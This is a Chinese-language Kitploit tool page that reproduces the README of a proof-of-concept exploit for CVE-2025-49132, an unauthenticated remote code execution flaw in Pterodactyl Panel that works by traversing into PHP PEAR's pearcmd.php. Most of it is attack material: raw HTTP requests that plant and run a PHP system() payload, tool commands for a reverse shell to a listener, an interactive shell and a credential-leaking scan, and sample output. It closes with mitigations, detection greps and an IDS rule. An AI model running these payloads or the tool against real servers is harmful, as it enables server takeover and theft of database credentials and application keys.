Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-49132-PHP-PEAR — CVE-2025-49132_PHP_PEAR_METHOD | Kitploit
工具/GitHubGitHub/rippsec/cve-2025-49132-php-pear
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubrippsec/cve-2025-49132-php-pear

CVE-2025-49132-PHP-PEAR

CVE-2025-49132_PHP_PEAR_METHOD

查看仓库
316个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-49132: Pterodactyl Panel 未授权 RCE via PHP PEAR 方法

CVSSv3 License Python

目录

  • 概述
  • 漏洞详情
  • 技术分析
  • 利用流程
  • 安装
  • 使用方法
  • 示例
  • 缓解措施
  • 免责声明
  • 参考资料
  • 作者

概述

本仓库包含针对 CVE-2025-49132 的概念验证(PoC)利用代码,该漏洞是 Pterodactyl Panel 1.11.11 之前版本中的一个严重未授权远程代码执行漏洞。

Pterodactyl Panel 是一个免费、开源的游戏服务器管理面板,使用 PHP 构建。该漏洞允许未授权攻击者通过不当处理 /locales/locale.json 端点并结合 PHP PEAR 的 pearcmd.php 功能,在目标服务器上执行任意系统命令。

漏洞摘要

  • CVE ID: CVE-2025-49132
  • CVSS 评分: 10.0(严重)
  • CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • CWE: CWE-94: 对代码生成的控制不当('代码注入')
  • 受影响版本: Pterodactyl Panel < 1.11.11
  • 攻击复杂度: 低
  • 所需权限: 无(未授权)
  • 用户交互: 无

漏洞详情

什么是 PHP PEAR?

PHP PEAR(PHP 扩展与应用仓库)是一个用于可重用 PHP 组件的框架和分发系统。它提供了一个命令行工具(pearcmd.php),可用于管理 PEAR 包。

pearcmd.php 文件通过 URL 参数处理命令,当与路径遍历结合时,可被利用来:

  1. 在系统上创建任意 PHP 文件
  2. 通过 Web 服务器执行这些文件

根本原因

漏洞存在的原因如下:

  1. 未验证的路径遍历:/locales/locale.json 中的 locale 参数允许路径遍历,且未经过适当验证
  2. 直接文件包含:应用程序直接根据用户控制的输入包含文件
  3. PEAR 命令注入:pearcmd.php 脚本接受 +config-create 命令,该命令可以写入任意 PHP 文件
  4. 未授权访问:易受攻击的端点不需要身份验证

攻击向量

攻击者可以:

  1. 使用路径遍历到达 PEAR 安装目录
  2. 滥用 config-create 命令将恶意 PHP 代码写入 /tmp
  3. 通过同一端点执行恶意 PHP 文件
  4. 以 Web 服务器用户的身份实现完全远程代码执行

技术分析

利用过程

利用分两个阶段进行:

阶段 1:Payload 创建

root@kitploit:~
GET /locales/locale.json?+config-create+/&locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd&<?=system('id')?>+/tmp/payload.php HTTP/1.1
Host: target.com

分解说明:

  • +config-create+/ - 调用 PEAR 的 config 创建功能
  • locale=../../../../../../usr/share/php/PEAR - 路径遍历到 PEAR 目录
  • namespace=pearcmd - 以 pearcmd.php 文件为目标
  • <?=system('id')?>+/tmp/payload.php - PHP payload 和目标文件

阶段 2:Payload 执行

root@kitploit:~
GET /locales/locale.json?locale=../../../../../../tmp&namespace=payload HTTP/1.1
Host: target.com

分解说明:

  • locale=../../../../../../tmp - 路径遍历到 /tmp 目录
  • namespace=payload - 包含并执行 payload.php

为什么 URL 编码会破坏利用

该利用需要在 URL 中发送特殊字符(<, >, ?, =)而不进行编码。如果这些字符被 URL 编码:

  • <?=system('id')?> 将变成 %3C%3F%3Dsystem%28%27id%27%29%3F%3E
  • PEAR 将其解释为普通文本而非 PHP 代码
  • PHP 标签不被识别,从而阻止代码执行

利用流程

root@kitploit:~
graph TD
    A[攻击者] -->|1. 路径遍历请求| B[locale.json]
    B -->|2. 遍历到 PEAR| C[pearcmd.php]
    C -->|3. config-create 命令| D[写入 PHP Payload]
    D -->|4. 创建文件| E[payload.php]
    E -->|5. 文件创建成功| F[服务器文件系统]
    
    A -->|6. 执行请求| G[locale.json]
    G -->|7. 遍历到 tmp| E
    E -->|8. 包含并执行| H[PHP 解释器]
    H -->|9. 系统命令| I[Shell 命令]
    I -->|10. 命令输出| A
    
    style A fill:#ff6b6b
    style B fill:#4ecdc4
    style C fill:#ffe66d
    style E fill:#ff6b6b
    style H fill:#ff6b6b
    style I fill:#ff6b6b

攻击流程图

root@kitploit:~
sequenceDiagram
    participant 攻击者
    participant Web 服务器
    participant PEAR
    participant 文件系统
    participant PHP 引擎
    
    攻击者->>Web 服务器: GET locale.json with config-create
    Web 服务器->>PEAR: 路径遍历到 pearcmd
    PEAR->>文件系统: 创建 payload.php
    文件系统-->>攻击者: 200 OK
    
    攻击者->>Web 服务器: GET locale.json with payload namespace
    Web 服务器->>文件系统: 路径遍历到 payload.php
    文件系统->>PHP 引擎: 包含 payload
    PHP 引擎->>PHP 引擎: 执行系统命令
    PHP 引擎-->>攻击者: 命令输出 (RCE)

安装

前提条件

  • Python 3.6 或更高版本
  • requests 库

克隆仓库

root@kitploit:~
git clone https://github.com/xffsec/CVE-2025-49132_PEAR_METHOD.git
cd CVE-2025-49132_PEAR_METHOD

安装依赖

root@kitploit:~
pip3 install -r requirements.txt

或者手动安装:

root@kitploit:~
pip3 install requests

使用方法

基本命令执行

root@kitploit:~
python3 poc.py -H <target_host> -c "<command>"

反弹 Shell

root@kitploit:~
# 在攻击者机器上启动监听器
nc -lvnp 4444

# 使用反弹 shell 执行利用
python3 poc.py -H <target_host> -r <your_ip>:4444

交互式伪 Shell

root@kitploit:~
python3 poc.py -H <target_host> --shell

模糊测试 PEAR 安装路径

root@kitploit:~
python3 poc.py -H <target_host> --fuzz

扫描漏洞

root@kitploit:~
python3 poc.py -H <target_host> --scan

通过配置泄露(数据库凭据、应用密钥)检查是否存在 CVE-2025-49132。

自定义 PEAR 路径

root@kitploit:~
python3 poc.py -H <target_host> -c "whoami" -p "/opt/pear"

详细输出

root@kitploit:~
python3 poc.py -H <target_host> -c "id" -v

显示详细进度(payload 创建、PEAR 路径、执行状态)。

完整选项

root@kitploit:~
usage: poc.py [-h] -H HOST [-c COMMAND] [-r REVERSE_SHELL] [--shell] [--fuzz] [--scan]
              [-p PEAR_PATH] [-e ENDPOINT] [--ssl] [--timeout TIMEOUT] [-v]

optional arguments:
  -h, --help            显示此帮助信息并退出
  -H HOST, --host HOST  目标主机(例如 192.168.1.100 或 example.com)
  -c COMMAND            要在目标系统上执行的命令
  -r REVERSE_SHELL      反弹 shell(格式:LHOST:LPORT)
  --shell               交互式伪 Shell 模式
  --fuzz                模糊测试 PEAR 安装路径
  --scan                扫描目标是否存在漏洞(配置泄露)
  -p PEAR_PATH          自定义 PEAR 路径(默认:/usr/share/php/PEAR)
  -e ENDPOINT           易受攻击的端点(默认:/locales/locale.json)
  --ssl                 使用 HTTPS
  --timeout TIMEOUT     请求超时时间(秒,默认:10)
  -v, --verbose         显示详细进度输出

示例

示例 1:基本命令执行

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb -c "id"

[CVE-2025-49132] Pterodactyl Panel RCE via PHP PEAR

[+] 命令输出:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

使用 -v 可查看详细输出(payload 细节、PEAR 路径等)。

示例 2:反弹 Shell

root@kitploit:~
# 终端 1:启动监听器
$ nc -lvnp 4444
listening on [any] 4444 ...

# 终端 2:执行利用
$ python3 poc.py -H panel.pterodactyl.htb -r 10.10.14.5:4444

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[!] 请确保您的监听器正在运行:nc -lvnp 4444

# 终端 1:接收连接
connect to [10.10.14.5] from (UNKNOWN) [panel.pterodactyl.htb] 45678
www-data@pterodactyl:/var/www/pterodactyl$

示例 3:交互式伪 Shell

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --shell

shell> whoami
www-data

shell> pwd
/var/www/pterodactyl

shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

shell> exit

示例 4:PEAR 路径模糊测试

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --fuzz

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[+] 找到 3 个潜在的 PEAR 安装路径:
    /usr/share/php/PEAR
    /usr/share/pear
    /usr/local/lib/php/PEAR
[*] 使用 -p 标志并指定其中一个路径进行利用

使用 -v 可查看每个路径的模糊测试进度。

示例 5:漏洞扫描器

root@kitploit:~
$ python3 poc.py -H panel.pterodactyl.htb --scan

╔══════════════════════════════════════╗
║   CVE-2025-49132 - Pterodactyl RCE   ║
╚══════════════════════════════════════╝

[*] 正在扫描:http://panel.pterodactyl.htb/locales/locale.json
-------------------------------------------------------
[+] 存在漏洞 - 数据库凭据泄露
    主机:   127.0.0.1
    端口:   3306
    数据库: panel
    用户名: pterodactyl
    密码:   ********
    连接:   pterodactyl:********@127.0.0.1:3306/panel
[+] 存在漏洞 - 应用程序配置泄露
    应用密钥:base64{...}
    [!] 安全警告:APP_KEY 已暴露!
-------------------------------------------------------
[+] 目标存在 CVE-2025-49132 漏洞

缓解措施

立即采取的行动

  1. 更新 Pterodactyl Panel

    root@kitploit:~
    cd /var/www/pterodactyl
    php artisan p:upgrade
    

    更新至 1.11.11 或更高版本。

  2. 禁用易受攻击的端点(临时解决方案)

    将其添加到您的 Web 服务器配置中:

    Apache (.htaccess):

    root@kitploit:~
    <Files "locale.json">
        Order Allow,Deny
        Deny from all
    </Files>
    

    Nginx:

    root@kitploit:~
    location ~* /locales/locale\.json {
        deny all;
        return 403;
    }
    

    注意:这将破坏本地化功能。

  3. Web 应用防火墙(WAF)

    实施 WAF 规则以阻止路径遍历尝试:

    root@kitploit:~
    SecRule REQUEST_URI "@contains ../" "id:1000,phase:1,deny,status:403"
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403"
    

长期解决方案

  1. 输入验证:对 locale 和 namespace 参数实施严格验证
  2. 路径清理:使用 realpath() 解析和验证文件路径
  3. 白名单方法:仅允许特定的、预定义的区域设置值
  4. 身份验证:要求对区域设置端点进行身份验证
  5. 安全审计:定期进行安全评估和渗透测试

检测

日志分析 - 查找可疑模式:

root@kitploit:~
# Apache/Nginx 访问日志
grep "locale.json" /var/log/apache2/access.log | grep "\.\."
grep "pearcmd" /var/log/apache2/access.log
grep "config-create" /var/log/apache2/access.log

# 查找 payload 文件
find /tmp -name "payload.php" -o -name "*.php" -mtime -1

IDS/IPS 签名:

root@kitploit:~
alert http any any -> any any (msg:"CVE-2025-49132 PEAR RCE Attempt"; 
  content:"/locales/locale.json"; http_uri; 
  content:"pearcmd"; http_uri; 
  content:"config-create"; http_uri; 
  sid:1000001; rev:1;)

免责声明

仅供教育和授权测试使用

此概念验证利用代码仅供教育和授权安全测试使用。作者对因使用本程序造成的任何误用或损害不承担任何责任。

法律声明

  • ✅ 做:将本工具用于授权的渗透测试和安全研究
  • ✅ 做:在您拥有或获得明确许可的系统上使用本工具
  • ✅ 做:使用本工具验证补丁和安全控制措施
  • ❌ 不做:在未获得明确授权的情况下,针对系统使用本工具
  • ❌ 不做:将本工具用于恶意目的
  • ❌ 不做:在缺乏适当控制的生产环境中部署本工具

未经授权访问计算机系统是违法的。 用户有责任确保遵守适用的法律法规。

参考资料

  • CVE-2025-49132 - NVD
  • GitHub Advisory: GHSA-24wv-6c99-f843
  • Pterodactyl Panel 安全公告
  • PHP PEAR 文档
  • CWE-94: 代码注入

作者

xffsec

联系方式
GitHub: @xffsec
邮箱: [email protected]

许可证

本项目采用 MIT 许可证 - 详情请参见 LICENSE 文件。

贡献

欢迎贡献、提交问题或功能请求!请随时提出问题或提交拉取请求。

致谢

  • Pterodactyl Panel 开发团队负责任的披露流程
  • 安全研究社区
  • HackTheBox 为练习这些技术提供了安全的环境

⚠️ 请记住:始终进行负责任的披露,切勿在未获得适当授权的情况下利用漏洞。

下载工具